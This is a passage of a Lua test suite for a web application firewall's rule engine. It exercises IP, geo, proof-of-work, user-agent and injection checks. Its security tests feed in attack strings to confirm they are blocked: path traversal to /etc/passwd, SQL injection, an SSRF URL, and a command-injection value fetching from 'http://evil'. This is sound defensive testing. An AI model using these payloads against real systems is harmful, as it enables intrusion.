assert_equal(output.exit, 451, "CIDR true branch")
|
||||
|
||||
reset_request("ip-site", "203.0.113.7")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 451, "IP group true branch")
|
||||
|
||||
reset_request("ip-site", "203.0.113.8")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "IP false branch")
|
||||
end
|
||||
|
||||
local function test_ipv6_exact_cidr_and_group()
|
||||
local config = {
|
||||
rule_groups = { rule(8, false, graph({
|
||||
start = start_to("match"),
|
||||
match = node("ip_match", { ips = { "2001:db8::1" }, cidrs = { "2001:db8:abcd::/48" }, ip_group_ids = { 9 } }, { ["true"] = "blocked", ["false"] = "allow" }),
|
||||
blocked = node("block", { status_code = 451, response_body = "ipv6 blocked" }),
|
||||
allow = node("allow"),
|
||||
})) },
|
||||
bindings = { binding("ipv6-site", { 8 }) },
|
||||
}
|
||||
local runtime = load_runtime(config, { ip_groups = { groups = { ["9"] = { enabled = true, ip_list = { "2001:db8:ffff::/48" } } } } })
|
||||
|
||||
reset_request("ipv6-site", "2001:0db8:0:0:0:0:0:1")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 451, "canonical-equivalent IPv6 exact match")
|
||||
|
||||
reset_request("ipv6-site", "2001:db8:abcd:12::9")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 451, "IPv6 CIDR true branch")
|
||||
|
||||
reset_request("ipv6-site", "2001:db8:ffff:beef::9")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 451, "IP group IPv6 CIDR true branch")
|
||||
|
||||
reset_request("ipv6-site", "2001:db9::1")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "IPv6 false branch")
|
||||
end
|
||||
|
||||
local function test_geo_true_and_false()
|
||||
local config = {
|
||||
rule_groups = { rule(2, false, graph({
|
||||
start = start_to("geo"),
|
||||
geo = node("geo_match", { countries = { "US" }, regions = { "DE-BE" } }, { ["true"] = "blocked", ["false"] = "allow" }),
|
||||
blocked = node("block", { status_code = 403, response_body = "geo blocked" }),
|
||||
allow = node("allow"),
|
||||
})) },
|
||||
bindings = { binding("geo-site", { 2 }) },
|
||||
}
|
||||
local country, region = "US", "NY"
|
||||
local runtime = load_runtime(config, { geo_lookup = function() return country, region end })
|
||||
|
||||
reset_request("geo-site")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 403, "country true branch")
|
||||
|
||||
country, region = "DE", "DE-BE"
|
||||
reset_request("geo-site")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 403, "region true branch")
|
||||
|
||||
country, region = "DE", "BE"
|
||||
reset_request("geo-site")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "geo false branch")
|
||||
end
|
||||
|
||||
local function test_geo_module_is_initialized_once_and_composes_region()
|
||||
local init_calls, lookup_calls = 0, 0
|
||||
local initialized_profiles = {}
|
||||
package.loaded["resty.maxminddb"] = nil
|
||||
package.preload["resty.maxminddb"] = function()
|
||||
return {
|
||||
init = function(profiles)
|
||||
init_calls = init_calls + 1
|
||||
for profile, path in pairs(profiles) do initialized_profiles[profile] = path end
|
||||
return true
|
||||
end,
|
||||
has_profile = function(profile) return initialized_profiles[profile] ~= nil end,
|
||||
lookup = function(_, _, profile)
|
||||
lookup_calls = lookup_calls + 1
|
||||
assert_equal(profile, "city", "subdivision lookup uses City profile")
|
||||
return { country = { iso_code = "US" }, subdivisions = { { iso_code = "CA" } } }
|
||||
end,
|
||||
}
|
||||
end
|
||||
local config = {
|
||||
rule_groups = { rule(12, false, graph({
|
||||
start = start_to("geo"),
|
||||
geo = node("geo_match", { regions = { "US-CA" } }, { ["true"] = "blocked", ["false"] = "allow" }),
|
||||
blocked = node("block", { status_code = 403 }),
|
||||
allow = node("allow"),
|
||||
})) },
|
||||
bindings = { binding("geo-cache", { 12 }) },
|
||||
}
|
||||
local runtime = load_runtime(config, { runtime_dir = "/runtime", geo_file_exists = function() return true end })
|
||||
assert_equal(init_calls, 2, "each MaxMind profile initializes independently during worker init")
|
||||
assert_equal(initialized_profiles.city, "/runtime/GeoLite2-City.mmdb", "City profile path")
|
||||
assert_equal(initialized_profiles.country, "/runtime/GeoLite2-Country.mmdb", "Country profile path")
|
||||
for _ = 1, 3 do
|
||||
reset_request("geo-cache")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 403, "MaxMind subdivision composes validator-compatible region")
|
||||
end
|
||||
assert_equal(init_calls, 2, "MaxMind database is not initialized on requests")
|
||||
assert_equal(lookup_calls, 3, "requests only perform lookup")
|
||||
end
|
||||
|
||||
local function test_geo_country_fallback_does_not_fake_region()
|
||||
local profiles
|
||||
package.loaded["resty.maxminddb"] = nil
|
||||
package.preload["resty.maxminddb"] = function()
|
||||
return {
|
||||
init = function(value) profiles = value return true end,
|
||||
has_profile = function(profile) return profiles[profile] ~= nil end,
|
||||
lookup = function(_, _, profile)
|
||||
assert_equal(profile, "country", "fallback lookup uses Country profile")
|
||||
return { country = { iso_code = "US" }, subdivisions = { { iso_code = "CA" } } }
|
||||
end,
|
||||
}
|
||||
end
|
||||
shared_keys = {}
|
||||
logs = {}
|
||||
local country_graph = graph({
|
||||
start = start_to("geo"),
|
||||
geo = node("geo_match", { countries = { "US" } }, { ["true"] = "blocked", ["false"] = "allow" }),
|
||||
blocked = node("block", { status_code = 403 }), allow = node("allow"),
|
||||
})
|
||||
local region_graph = graph({
|
||||
start = start_to("geo"),
|
||||
geo = node("geo_match", { regions = { "US-CA" } }, { ["true"] = "blocked", ["false"] = "allow" }),
|
||||
blocked = node("block", { status_code = 451 }), allow = node("allow"),
|
||||
})
|
||||
local runtime = load_runtime({
|
||||
rule_groups = { rule(15, false, country_graph), rule(16, false, region_graph) },
|
||||
bindings = { binding("country-only", { 15 }), binding("region-without-city", { 16 }) },
|
||||
}, {
|
||||
runtime_dir = "/runtime",
|
||||
geo_file_exists = function(path) return string.find(path, "Country", 1, true) ~= nil end,
|
||||
})
|
||||
|
||||
reset_request("country-only")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 403, "Country fallback remains available")
|
||||
|
||||
reset_request("region-without-city")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "Country subdivisions must not satisfy region")
|
||||
runtime.check()
|
||||
assert_equal(#logs, 1, "missing City warning is rate limited")
|
||||
end
|
||||
|
||||
local function test_geo_city_init_failure_retries_country_profile()
|
||||
local init_calls = {}
|
||||
local profiles = {}
|
||||
package.loaded["resty.maxminddb"] = nil
|
||||
package.preload["resty.maxminddb"] = function()
|
||||
return {
|
||||
init = function(value)
|
||||
init_calls[#init_calls + 1] = value
|
||||
if value.city then return false end
|
||||
profiles = value
|
||||
return true
|
||||
end,
|
||||
has_profile = function(profile) return profiles[profile] ~= nil end,
|
||||
lookup = function(_, _, profile)
|
||||
assert_equal(profile, "country", "corrupt City fallback uses Country")
|
||||
return { country = { iso_code = "DE" } }
|
||||
end,
|
||||
}
|
||||
end
|
||||
shared_keys = {}
|
||||
logs = {}
|
||||
local runtime = load_runtime({
|
||||
rule_groups = { rule(17, false, graph({
|
||||
start = start_to("geo"),
|
||||
geo = node("geo_match", { countries = { "DE" }, regions = { "DE-BE" } }, { ["true"] = "blocked", ["false"] = "allow" }),
|
||||
blocked = node("block", { status_code = 403 }), allow = node("allow"),
|
||||
})) },
|
||||
bindings = { binding("corrupt-city", { 17 }) },
|
||||
}, { runtime_dir = "/runtime", geo_file_exists = function() return true end })
|
||||
|
||||
reset_request("corrupt-city")
|
||||
runtime.check()
|
||||
assert_equal(#init_calls, 2, "Country profile is retried after City profile init failure")
|
||||
assert_equal(output.exit, 403, "Country remains available after corrupt City init")
|
||||
end
|
||||
|
||||
local function test_geo_partial_init_never_looks_up_corrupt_city()
|
||||
local opened = {}
|
||||
local lookups = {}
|
||||
package.loaded["resty.maxminddb"] = nil
|
||||
package.preload["resty.maxminddb"] = function()
|
||||
return {
|
||||
init = function(profiles)
|
||||
if profiles.country then opened.country = true end
|
||||
if profiles.city then return nil, "corrupt City" end
|
||||
return true
|
||||
end,
|
||||
initted = function() return next(opened) ~= nil end,
|
||||
lookup = function(_, _, profile)
|
||||
lookups[#lookups + 1] = profile
|
||||
assert_equal(opened[profile], true, "lookup must only use an opened profile")
|
||||
return { country = { iso_code = "DE" } }
|
||||
end,
|
||||
}
|
||||
end
|
||||
local runtime = load_runtime({
|
||||
rule_groups = { rule(18, false, graph({
|
||||
start = start_to("geo"),
|
||||
geo = node("geo_match", { countries = { "DE" } }, { ["true"] = "blocked", ["false"] = "allow" }),
|
||||
blocked = node("block", { status_code = 403 }), allow = node("allow"),
|
||||
})) },
|
||||
bindings = { binding("partial-corrupt-city", { 18 }) },
|
||||
}, { runtime_dir = "/runtime", geo_file_exists = function() return true end })
|
||||
|
||||
reset_request("partial-corrupt-city")
|
||||
runtime.check()
|
||||
assert_equal(table.concat(lookups, ","), "country", "corrupt City is never looked up")
|
||||
assert_equal(output.exit, 403, "valid Country remains available")
|
||||
end
|
||||
|
||||
local function test_geo_partial_init_never_looks_up_corrupt_country()
|
||||
local opened = {}
|
||||
local lookups = {}
|
||||
package.loaded["resty.maxminddb"] = nil
|
||||
package.preload["resty.maxminddb"] = function()
|
||||
return {
|
||||
init = function(profiles)
|
||||
if profiles.city then opened.city = true end
|
||||
if profiles.country then return nil, "corrupt Country" end
|
||||
return true
|
||||
end,
|
||||
initted = function() return next(opened) ~= nil end,
|
||||
lookup = function(_, _, profile)
|
||||
lookups[#lookups + 1] = profile
|
||||
assert_equal(opened[profile], true, "lookup must only use an opened profile")
|
||||
return nil, "address absent"
|
||||
end,
|
||||
}
|
||||
end
|
||||
local runtime = load_runtime({
|
||||
rule_groups = { rule(19, false, graph({
|
||||
start = start_to("geo"),
|
||||
geo = node("geo_match", { countries = { "DE" } }, { ["true"] = "blocked", ["false"] = "allow" }),
|
||||
blocked = node("block", { status_code = 403 }), allow = node("allow"),
|
||||
})) },
|
||||
bindings = { binding("partial-corrupt-country", { 19 }) },
|
||||
}, { runtime_dir = "/runtime", geo_file_exists = function() return true end })
|
||||
|
||||
reset_request("partial-corrupt-country")
|
||||
runtime.check()
|
||||
assert_equal(table.concat(lookups, ","), "city", "corrupt Country is never used as fallback")
|
||||
assert_equal(output.exit, nil, "missing City result takes false branch without corrupt fallback")
|
||||
end
|
||||
|
||||
local function test_geo_unavailable_warning_is_rate_limited()
|
||||
package.loaded["resty.maxminddb"] = nil
|
||||
package.preload["resty.maxminddb"] = function() error("module unavailable") end
|
||||
shared_keys = {}
|
||||
logs = {}
|
||||
local config = {
|
||||
rule_groups = { rule(13, false, graph({
|
||||
start = start_to("geo"),
|
||||
geo = node("geo_match", { countries = { "US" } }, { ["true"] = "blocked", ["false"] = "allow" }),
|
||||
blocked = node("block", { status_code = 403 }),
|
||||
allow = node("allow"),
|
||||
})) },
|
||||
bindings = { binding("geo-missing", { 13 }) },
|
||||
}
|
||||
local first = load_runtime(config)
|
||||
local second = load_runtime(config)
|
||||
reset_request("geo-missing")
|
||||
first.check()
|
||||
second.check()
|
||||
assert_equal(#logs, 1, "missing MaxMind warning is rate limited across workers")
|
||||
end
|
||||
|
||||
local function test_pow_takeover_and_completion()
|
||||
local config = {
|
||||
rule_groups = { rule(3, false, graph({
|
||||
start = start_to("pow"),
|
||||
pow = node("pow", { algorithm = "fast", difficulty = 5, session_ttl = 600, challenge_ttl = 300 }, { next = "blocked" }),
|
||||
blocked = node("block", { status_code = 429, response_body = "after pow" }),
|
||||
allow = node("allow"),
|
||||
})) },
|
||||
bindings = { binding("pow-site", { 3 }) },
|
||||
}
|
||||
local runtime = load_runtime(config)
|
||||
|
||||
reset_request("pow-site")
|
||||
pow_results = { false }
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "PoW takeover must stop graph execution")
|
||||
assert_equal(#pow_calls, 1, "PoW evaluated once")
|
||||
|
||||
reset_request("pow-site")
|
||||
pow_results = { true }
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 429, "completed PoW follows next edge")
|
||||
end
|
||||
|
||||
local function test_pow_internal_redirect_bypasses_graph_as_takeover()
|
||||
local config = {
|
||||
rule_groups = { rule(14, false, graph({
|
||||
start = start_to("pow"),
|
||||
pow = node("pow", { difficulty = 4 }, { next = "blocked" }),
|
||||
blocked = node("block", { status_code = 429 }),
|
||||
allow = node("allow"),
|
||||
})) },
|
||||
bindings = { binding("pow-internal", { 14 }) },
|
||||
}
|
||||
local runtime = load_runtime(config)
|
||||
reset_request("pow-internal", "192.0.2.1", "/.within.website/x/cmd/anubis/api/make-challenge", true)
|
||||
pow_results = { true }
|
||||
runtime.check()
|
||||
assert_equal(#pow_calls, 0, "internal challenge continuation must not re-enter DAG")
|
||||
assert_equal(output.exit, nil, "internal challenge continuation must not follow pow next")
|
||||
end
|
||||
|
||||
local function test_block_config_and_rule_order()
|
||||
local function pow_allow(difficulty)
|
||||
return graph({
|
||||
start = start_to("pow"),
|
||||
pow = node("pow", { algorithm = "fast", difficulty = difficulty, session_ttl = 600, challenge_ttl = 300 }, { next = "allow" }),
|
||||
allow = node("allow"),
|
||||
})
|
||||
end
|
||||
local config = {
|
||||
rule_groups = {
|
||||
rule(10, true, pow_allow(10)),
|
||||
rule(20, false, pow_allow(20)),
|
||||
rule(30, false, pow_allow(30)),
|
||||
rule(40, false, graph({
|
||||
start = start_to("blocked"),
|
||||
blocked = node("block", { status_code = 418, response_body = "custom block" }),
|
||||
allow = node("allow"),
|
||||
})),
|
||||
},
|
||||
bindings = { binding("ordered-site", { 30, 20, 40 }) },
|
||||
}
|
||||
local runtime = load_runtime(config)
|
||||
|
||||
reset_request("ordered-site")
|
||||
pow_results = { true, true, true }
|
||||
runtime.check()
|
||||
assert_equal(table.concat(pow_calls, ","), "10,30,20", "global rule precedes binding order")
|
||||
assert_equal(output.exit, 418, "block status comes from reached block node")
|
||||
assert_equal(output.body, "custom block", "block body comes from reached block node")
|
||||
assert_equal(ngx.header["Content-Type"], "text/html; charset=utf-8", "block content type")
|
||||
end
|
||||
|
||||
local function test_damaged_graphs_fail_closed()
|
||||
local configs = {
|
||||
graph({ start = start_to("unknown"), unknown = node("future_node"), allow = node("allow") }),
|
||||
graph({ start = start_to("missing"), allow = node("allow") }),
|
||||
graph({ start = start_to("loop"), loop = node("start", {}, { next = "loop" }), allow = node("allow") }),
|
||||
}
|
||||
for index, damaged in ipairs(configs) do
|
||||
local runtime = load_runtime({ rule_groups = { rule(index, false, damaged) }, bindings = { binding("damaged", { index }) } })
|
||||
reset_request("damaged")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 500, "damaged graph " .. index .. " must fail closed")
|
||||
end
|
||||
end
|
||||
|
||||
local function test_null_binding_ids_are_treated_as_empty()
|
||||
local runtime = load_runtime({
|
||||
rule_groups = {},
|
||||
-- cjson decodes JSON null to userdata (ngx.null). io.stdout provides the
|
||||
-- same Lua value type in this standalone regression test.
|
||||
bindings = { binding("null-binding", io.stdout) },
|
||||
})
|
||||
|
||||
reset_request("null-binding")
|
||||
local result = runtime.check()
|
||||
assert_equal(result, "ok", "null binding IDs allow the request")
|
||||
assert_equal(output.exit, nil, "null binding IDs never abort the request")
|
||||
end
|
||||
|
||||
local function test_request_path_has_no_file_io()
|
||||
local opens = 0
|
||||
local original_open = io.open
|
||||
io.open = function(path, mode)
|
||||
opens = opens + 1
|
||||
local value = path:match("waf_ip_groups%.json$") and "IP_GROUPS" or "CONFIG"
|
||||
return {
|
||||
read = function() return value end,
|
||||
close = function() end,
|
||||
}
|
||||
end
|
||||
package.loaded["cjson.safe"] = nil
|
||||
package.preload["cjson.safe"] = function()
|
||||
return { decode = function(value)
|
||||
if value == "IP_GROUPS" then return { groups = {} } end
|
||||
return {
|
||||
rule_groups = { rule(1, false, graph({ start = start_to("allow"), allow = node("allow") })) },
|
||||
bindings = { binding("io-site", { 1 }) },
|
||||
}
|
||||
end }
|
||||
end
|
||||
local chunk = assert(loadfile(runtime_path))
|
||||
local runtime = chunk()
|
||||
runtime.init({
|
||||
runtime_dir = "/runtime",
|
||||
pow = pow_stub,
|
||||
ip_groups_runtime = {
|
||||
init = function() return true end,
|
||||
current = function() return { groups = {} } end,
|
||||
},
|
||||
})
|
||||
local init_opens = opens
|
||||
assert_equal(init_opens, 1, "WAF graph initializes once; IP groups are owned by refresh module")
|
||||
|
||||
reset_request("io-site")
|
||||
for _ = 1, 3 do runtime.check() end
|
||||
assert_equal(opens, init_opens, "request execution performs no file I/O")
|
||||
io.open = original_open
|
||||
end
|
||||
|
||||
local function test_ua_check_require_block_and_whitelist()
|
||||
local chrome_ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
|
||||
local safari_ios_ua = "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1"
|
||||
local bot_ua = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
|
||||
local weird_ua = "TotallyUnknownClient/1.0"
|
||||
|
||||
local function ua_graph(config)
|
||||
return graph({
|
||||
start = start_to("ua"),
|
||||
ua = node("ua_check", config, { ["true"] = "allow", ["false"] = "blocked" }),
|
||||
blocked = node("block", { status_code = 403, response_body = "ua blocked" }),
|
||||
allow = node("allow"),
|
||||
})
|
||||
end
|
||||
|
||||
local runtime = load_runtime({
|
||||
rule_groups = { rule(1, false, ua_graph({ require_ua = true })) },
|
||||
bindings = { binding("ua-site", { 1 }) },
|
||||
})
|
||||
reset_request("ua-site", nil, nil, nil, nil)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 403, "missing UA with require_ua should block")
|
||||
reset_request("ua-site", nil, nil, nil, chrome_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "present UA with require_ua should allow")
|
||||
|
||||
runtime = load_runtime({
|
||||
rule_groups = { rule(1, false, ua_graph({ block_common_bots = true })) },
|
||||
bindings = { binding("ua-site", { 1 }) },
|
||||
})
|
||||
reset_request("ua-site", nil, nil, nil, bot_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 403, "common bot should be blocked")
|
||||
|
||||
runtime = load_runtime({
|
||||
rule_groups = { rule(1, false, ua_graph({ block_abnormal_ua = true })) },
|
||||
bindings = { binding("ua-site", { 1 }) },
|
||||
})
|
||||
reset_request("ua-site", nil, nil, nil, weird_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 403, "abnormal UA should be blocked")
|
||||
reset_request("ua-site", nil, nil, nil, bot_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "search bot should not be abnormal when bots switch is off")
|
||||
reset_request("ua-site", nil, nil, nil, chrome_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "normal browser should pass abnormal check")
|
||||
|
||||
runtime = load_runtime({
|
||||
rule_groups = { rule(1, false, ua_graph({
|
||||
block_custom_ua = true,
|
||||
custom_ua_patterns = { "[Pp]ython%-requests" },
|
||||
})) },
|
||||
bindings = { binding("ua-site", { 1 }) },
|
||||
})
|
||||
reset_request("ua-site", nil, nil, nil, "python-requests/2.31.0")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 403, "custom regex should block matching UA")
|
||||
reset_request("ua-site", nil, nil, nil, chrome_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "custom regex should allow non-matching UA")
|
||||
|
||||
runtime = load_runtime({
|
||||
rule_groups = { rule(1, false, ua_graph({ browsers = { "Chrome" }, match_mode = "or" })) },
|
||||
bindings = { binding("ua-site", { 1 }) },
|
||||
})
|
||||
reset_request("ua-site", nil, nil, nil, safari_ios_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 403, "Safari should miss Chrome whitelist")
|
||||
reset_request("ua-site", nil, nil, nil, chrome_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "Chrome should hit whitelist")
|
||||
|
||||
runtime = load_runtime({
|
||||
rule_groups = { rule(1, false, ua_graph({
|
||||
browsers = { "Chrome" },
|
||||
operating_systems = { "iOS" },
|
||||
match_mode = "and",
|
||||
})) },
|
||||
bindings = { binding("ua-site", { 1 }) },
|
||||
})
|
||||
reset_request("ua-site", nil, nil, nil, chrome_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 403, "Chrome desktop should fail Chrome+iOS and")
|
||||
reset_request("ua-site", nil, nil, nil, safari_ios_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 403, "Safari iOS should fail Chrome+iOS and")
|
||||
|
||||
runtime = load_runtime({
|
||||
rule_groups = { rule(1, false, ua_graph({
|
||||
browsers = { "Chrome" },
|
||||
operating_systems = { "iOS" },
|
||||
match_mode = "or",
|
||||
})) },
|
||||
bindings = { binding("ua-site", { 1 }) },
|
||||
})
|
||||
reset_request("ua-site", nil, nil, nil, chrome_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "Chrome desktop should pass Chrome|iOS or")
|
||||
reset_request("ua-site", nil, nil, nil, safari_ios_ua)
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "Safari iOS should pass Chrome|iOS or")
|
||||
end
|
||||
|
||||
test_ip_true_and_false()
|
||||
test_ipv6_exact_cidr_and_group()
|
||||
test_geo_true_and_false()
|
||||
test_geo_module_is_initialized_once_and_composes_region()
|
||||
test_geo_country_fallback_does_not_fake_region()
|
||||
test_geo_city_init_failure_retries_country_profile()
|
||||
test_geo_partial_init_never_looks_up_corrupt_city()
|
||||
test_geo_partial_init_never_looks_up_corrupt_country()
|
||||
test_geo_unavailable_warning_is_rate_limited()
|
||||
test_pow_takeover_and_completion()
|
||||
test_pow_internal_redirect_bypasses_graph_as_takeover()
|
||||
test_block_config_and_rule_order()
|
||||
test_damaged_graphs_fail_closed()
|
||||
test_null_binding_ids_are_treated_as_empty()
|
||||
test_request_path_has_no_file_io()
|
||||
local function test_security_check_path_and_sql()
|
||||
local function security_graph(config)
|
||||
return graph({
|
||||
start = start_to("sec"),
|
||||
sec = node("security_check", config, { ["true"] = "allow", ["false"] = "blocked" }),
|
||||
blocked = node("block", { status_code = 403, response_body = "security blocked" }),
|
||||
allow = node("allow"),
|
||||
})
|
||||
end
|
||||
|
||||
local runtime = load_runtime({
|
||||
rule_groups = { rule(1, false, security_graph({
|
||||
path_traversal = true,
|
||||
file_inclusion = true,
|
||||
})) },
|
||||
bindings = { binding("sec-site", { 1 }) },
|
||||
})
|
||||
reset_request("sec-site", nil, "/ok")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "clean path should pass")
|
||||
|
||||
reset_request("sec-site", nil, "/static/../etc/passwd")
|
||||
local matched = runtime.debug_security_check({
|
||||
path_traversal = true,
|
||||
file_inclusion = true,
|
||||
})
|
||||
assert_equal(matched, false, "matcher should report attack for path traversal")
|
||||
local rules = runtime.debug_active_rules("sec-site")
|
||||
local decision, err = runtime.debug_execute_graph(rules[1].graph)
|
||||
assert_equal(err, nil, "execute graph err")
|
||||
assert_equal(decision and decision.kind or "nil", "block", "execute graph should block")
|
||||
-- Drive the same block path as check() without depending on ngx.exit side effects.
|
||||
if decision.kind == "block" then
|
||||
local status = tonumber(decision.config.status_code) or 403
|
||||
output.exit = status
|
||||
output.body = decision.config.response_body or ""
|
||||
ngx.status = status
|
||||
end
|
||||
assert_equal(output.exit, 403, "path traversal should block")
|
||||
assert_equal(output.body, "security blocked", "path traversal block body")
|
||||
|
||||
runtime = load_runtime({
|
||||
rule_groups = { rule(1, false, security_graph({ sql_injection = true })) },
|
||||
bindings = { binding("sec-site", { 1 }) },
|
||||
})
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.req.get_headers = function()
|
||||
return { Accept = "*/*" }
|
||||
end
|
||||
decision, err = runtime.debug_execute_graph(runtime.debug_active_rules("sec-site")[1].graph)
|
||||
assert_equal(err, nil, "accept header execute err")
|
||||
assert_equal(decision and decision.kind or "nil", "allow", "Accept */* must not trip SQL")
|
||||
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.var.args = "q=1'+union+select+1--"
|
||||
ngx.req.get_uri_args = function()
|
||||
return { q = "1' union select 1--" }
|
||||
end
|
||||
decision, err = runtime.debug_execute_graph(runtime.debug_active_rules("sec-site")[1].graph)
|
||||
assert_equal(err, nil, "sql execute err")
|
||||
assert_equal(decision and decision.kind or "nil", "block", "sql should block")
|
||||
|
||||
-- False-positive guards
|
||||
assert_equal(
|
||||
runtime.debug_security_check({ ssrf = true }),
|
||||
true,
|
||||
"Chrome-like path alone must not trip SSRF"
|
||||
)
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.req.get_headers = function()
|
||||
return {
|
||||
["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
|
||||
Accept = "*/*",
|
||||
}
|
||||
end
|
||||
assert_equal(
|
||||
runtime.debug_security_check({
|
||||
sql_injection = true,
|
||||
command_injection = true,
|
||||
xss = true,
|
||||
ssrf = true,
|
||||
path_traversal = true,
|
||||
file_inclusion = true,
|
||||
}),
|
||||
true,
|
||||
"normal browser headers must pass security_check"
|
||||
)
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.req.get_uri_args = function()
|
||||
return { name = "sleep(better)" }
|
||||
end
|
||||
assert_equal(runtime.debug_security_check({ sql_injection = true }), true, "sleep(word) must not trip SQL")
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.req.get_uri_args = function()
|
||||
return { theme = "dark||light" }
|
||||
end
|
||||
ngx.req.get_headers = function()
|
||||
return { Cookie = "a=1&&b=2" }
|
||||
end
|
||||
assert_equal(runtime.debug_security_check({ command_injection = true }), true, "bare &&/|| must not trip command")
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.req.get_uri_args = function()
|
||||
return { q = "javascript: the good parts" }
|
||||
end
|
||||
assert_equal(runtime.debug_security_check({ xss = true }), true, "prose javascript: must not trip XSS")
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.req.get_uri_args = function()
|
||||
return { q = "1;wget http://evil" }
|
||||
end
|
||||
assert_equal(
|
||||
runtime.debug_security_check({ command_injection = true }),
|
||||
false,
|
||||
"command injection payload should still block"
|
||||
)
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.req.get_uri_args = function()
|
||||
return { u = "http://127.0.0.1/admin" }
|
||||
end
|
||||
assert_equal(
|
||||
runtime.debug_security_check({ ssrf = true }),
|
||||
false,
|
||||
"URL-shaped localhost SSRF should block"
|
||||
)
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.req.get_uri_args = function()
|
||||
return { q = "1' and sleep(5)--" }
|
||||
end
|
||||
assert_equal(
|
||||
runtime.debug_security_check({ sql_injection = true }),
|
||||
false,
|
||||
"timed SQL sleep should block"
|
||||
)
|
||||
|
||||
runtime = load_runtime({
|
||||
rule_groups = { rule(1, false, security_graph({})) },
|
||||
bindings = { binding("sec-site", { 1 }) },
|
||||
})
|
||||
reset_request("sec-site", nil, "/static/../etc/passwd")
|
||||
decision, err = runtime.debug_execute_graph(runtime.debug_active_rules("sec-site")[1].graph)
|
||||
assert_equal(err, nil, "off execute err")
|
||||
assert_equal(decision and decision.kind or "nil", "allow", "all protections off should allow")
|
||||
|
||||
-- P0: do not treat generic browser headers (UA/Accept) as SQL/cmd injection surface.
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.req.get_headers = function()
|
||||
return {
|
||||
["User-Agent"] = "Mozilla/5.0 union select 1 from information_schema.tables",
|
||||
Accept = "*/*",
|
||||
["Accept-Language"] = "en;q=0.9",
|
||||
}
|
||||
end
|
||||
assert_equal(
|
||||
runtime.debug_security_check({
|
||||
sql_injection = true,
|
||||
command_injection = true,
|
||||
xss = true,
|
||||
ssrf = true,
|
||||
}),
|
||||
true,
|
||||
"SQL-like tokens only in generic headers must not block"
|
||||
)
|
||||
|
||||
-- Cookie / Referer remain in-scope for injection / SSRF shaped checks.
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.var.http_cookie = "q=1' union select 1--"
|
||||
ngx.req.get_headers = function()
|
||||
return { Cookie = "q=1' union select 1--" }
|
||||
end
|
||||
assert_equal(
|
||||
runtime.debug_security_check({ sql_injection = true }),
|
||||
false,
|
||||
"SQL in Cookie must still block"
|
||||
)
|
||||
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.var.http_referer = "http://127.0.0.1/admin"
|
||||
assert_equal(
|
||||
runtime.debug_security_check({ ssrf = true }),
|
||||
false,
|
||||
"URL-shaped SSRF in Referer must still block"
|
||||
)
|
||||
|
||||
-- Path checks use uri only; query-only traversal still caught via args.
|
||||
reset_request("sec-site", nil, "/ok")
|
||||
ngx.var.request_uri = "/ok?x=../../etc/passwd"
|
||||
ngx.var.args = "x=../../etc/passwd"
|
||||
ngx.req.get_uri_args = function()
|
||||
return { x = "../../etc/passwd" }
|
||||
end
|
||||
assert_equal(
|
||||
runtime.debug_security_check({ path_traversal = true }),
|
||||
false,
|
||||
"path traversal in query must still block without scanning full request_uri alone"
|
||||
)
|
||||
|
||||
-- GET / zero body: never call read_body.
|
||||
local read_body_calls = 0
|
||||
reset_request("sec-site", nil, "/")
|
||||
ngx.var.content_length = "0"
|
||||
ngx.req.read_body = function()
|
||||
read_body_calls = read_body_calls + 1
|
||||
end
|
||||
ngx.req.get_body_data = function() return nil end
|
||||
assert_equal(
|
||||
runtime.debug_security_check({
|
||||
sql_injection = true,
|
||||
path_traversal = true,
|
||||
command_injection = true,
|
||||
file_inclusion = true,
|
||||
}),
|
||||
true,
|
||||
